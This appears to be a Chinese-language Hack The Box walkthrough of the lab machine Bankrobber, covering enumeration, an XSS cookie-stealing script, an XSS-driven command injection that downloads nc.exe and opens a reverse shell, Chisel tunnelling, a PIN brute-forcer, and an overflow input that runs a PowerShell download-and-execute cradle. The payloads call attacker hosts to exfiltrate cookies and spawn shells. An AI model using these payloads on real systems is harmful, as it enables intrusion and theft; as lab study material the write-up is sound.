• 【Hack The Box】windows练习-- Bankrobber


    HTB 学习笔记

    Hack The Box】windows练习-- Bankrobber


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月3日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
    |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
    |_http-title: E-coin
    443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
    |_ssl-date: TLS randomness does not represent time
    | ssl-cert: Subject: commonName=localhost
    | Not valid before: 2009-11-10T23:48:47
    |_Not valid after:  2019-11-08T23:48:47
    |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
    | tls-alpn: 
    |_  http/1.1
    |_http-title: E-coin
    445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
    3306/tcp open  mysql        MariaDB (unauthorized)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Aggressive OS guesses: Microsoft Windows Server 2008 R2 (91%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 10 1607 (85%), Microsoft Windows 10 1511 (85%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
    No exact OS matches for host (test conditions non-ideal).
    Network Distance: 2 hops
    Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb-security-mode: 
    |   account_used: guest
    |   authentication_level: user
    |   challenge_response: supported
    |_  message_signing: disabled (dangerous, but default)
    | smb2-time: 
    |   date: 2022-11-02T11:46:53
    |_  start_date: 2022-11-02T10:39:31
    | smb2-security-mode: 
    |   311: 
    |_    Message signing enabled but not required
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    80存在apache,所以我们要关注php(特别关注)
    443是一个https的apache,在80存在异常的时候,可能就是被跳转到https了
    而后就是3306的MariaDB (unauthorized)
    然后就是每次都会遇到的smb枚举
    基本上我们在这个信息收集中获取的信息就这么多了

    在这里插入图片描述
    二者是同站,首先可以看到一个登陆框
    简单分析一下网站功能,可以登陆可以注册,还可以交易
    在这里插入图片描述
    交易的话需要主交易人的账号以及被交易人的id
    然后我尝试了一下用户密码均为admin的情况,可以登陆,然后就跳转到了转账页面(但是随便输入个啥都能登陆???这是什么鬼)
    好了这个靶场到此结束,我去发财了【狗头保命】

    哈哈哈,开个玩笑。那我觉得转账的过程肯定会调取数据库的信息来核对你的资金
    结合开放了3306的数据库,那我觉得这里存在sql注入

    然后我注册了个账户看看有啥区别
    发现没啥区别,转账的话需要管理员审查
    那就是数据库核对
    更坚定了我sql注入的信心
    我要开始尝试sql注入了
    在这里插入图片描述
    然后我准备随便转个账看看,发现选择框右边有箭头,账户和对方id都是自然数,不晓得干嘛
    在这里插入图片描述试了几个常用的也没啥用
    在这里插入图片描述
    但我试了几种也没啥反应啊,那网站源码会不会在smb被暴露出来?我要去枚举看看

    在这里插入图片描述smb也都锁了
    在这里插入图片描述刚才nikto扫了一下那个转账页面,也没啥东西

    到这路已经死了,smb也有密码锁定,登陆框我试了几个也都没用,我仔细回想,漏了啥,然后,想起来了,目录遍历

    目录遍历

    在这里插入图片描述发现一个admin,但是要验证
    在这里插入图片描述

    xss

    说明需要认证,然后再回想,哪里还可能有问题,又想到了那句话,转账页面要给管理员看,那是不是意味着,存在xss?我们用个简单的脚本跑一下
    xss构造

    python3 -m http.server 80--本地开服务器让那边找你这个test.js
    <script src="http://10.10.14.5/test.js"></script>
    
    • 1
    • 2

    xss窃听脚本

    function pwn() {
        var img = document.createElement("img");
        img.src = "http://10.10.14.19/xss?=" + document.cookie;
        document.body.appendChild(img);
    }
    pwn();
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    在这里插入图片描述

    SG9wZWxlc3Nyb21hbnRpYw%3D%3D
    
    • 1

    在这里插入图片描述

    sql注入

    在这里插入图片描述
    这tm就对了么,绝对的去数据库查了,必须是sql注入
    在这里插入图片描述
    但是手搞了半天
    就是不行,我一会再来玩
    接下来就要玩下面那个服务框

    ssrf

    在这里插入图片描述
    发现啥命令都执行不了,只支持本地,那我们能不能再次利用xss来利用,让他的本地来执行命令

    也是利用刚才的方法
    本地写一个js脚本,然后把反弹脚本啥的还有nc放到同一目录

    var request = new XMLHttpRequest();
    var params = 'cmd=dir|powershell -c "iwr -uri 10.10.14.6/nc.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.14.6 1234';
    request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
    request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    request.send(params);
    
    • 1
    • 2
    • 3
    • 4
    • 5

    所有的参数都是抓包所得
    在这里插入图片描述还是在之前那个存在xss的地方搞

    在这里插入图片描述
    在这里插入图片描述发现了一个这个文件
    在这里插入图片描述

    C:\>bankv2.exe
    bankv2.exe
    Toegang geweigerd.  翻译过来是无权访问
    因为无权访问,所以直接听端口是快捷的方法,大概率可以突破这个限制
    
    • 1
    • 2
    • 3
    • 4

    溢出

    查看一下端口,发现了一个我们不晓得的端口,为了连接这个端口服务,我们把它隧道到本地然后nc就可以玩了

    netstat -ano | findstr LISTEN
    
    • 1

    打隧道我们使用Chisel
    把windows客户端传过去

    powershell -c "wget 10.10.14.6/chisel_windows_amd64.exe -o c.exe"
    
    • 1
    服务端
    ./chisel server -p 8000 --reverse
    客户端
    c.exe client 10.10.14.5:8000 R:910:localhost:910
    然后即可监听910端口
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    在这里插入图片描述连接成功
    在这里插入图片描述

    pin爆破

    在这里插入图片描述

    #!/usr/bin/env python3
    
    import socket
    import sys
    
    
    for i in range(10000):
        sys.stdout.write(f"\rTrying: {i:04d}")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('localhost', 910))
        s.recv(4096)
        s.send(f"{i:04d}\n".encode())
        resp = s.recv(4096)
        if not b"Access denied" in resp:
            print(f"\rFound pin: {i:04d}")
            break
        s.close()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    溢出突破

    首先发现存在溢出,因为他下面要执行的很显然截断了,我们可以用msf的验证,也可以数一下,都行
    在这里插入图片描述

    msf-pattern_create -l 40
    msf-pattern_offset -q 0Ab1
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述
    然后我们输入32个a加上后面的命令即可

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\Users\\Cortin\\AppData\\Local\\Temp\\nc.exe -e cmd.exe 10.10.14.6 8888
    或者
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApowershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')
    
    • 1
    • 2
    • 3

    可以看到下图已经正确的执行命令了
    在这里插入图片描述最终就可以拿到system

  • 相关阅读:
    LeetCode【4】寻找两个正序数组中位数
    22-06-28 西安 redis(02) 持久化机制、入门使用、事务控制、主从复制机制
    信息录入率百分百上海强化施工现场建筑工人实名制管理
    【LeetCode刷题-滑动窗口】--487.最大连续1的个数II
    使用DevExpress WPF主题设计器轻松创建Office 2019绿色主题(一)
    【GNN】图技术在美团外卖下的场景化应用及探索(更新ing)
    105. 从前序与中序遍历序列构造二叉树
    A-Level商务例题解析及练习Sources of finance
    TiSpark 原理之下推丨TiDB 工具分享
    操作系统FIFO算法(先进先出算法)
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127657666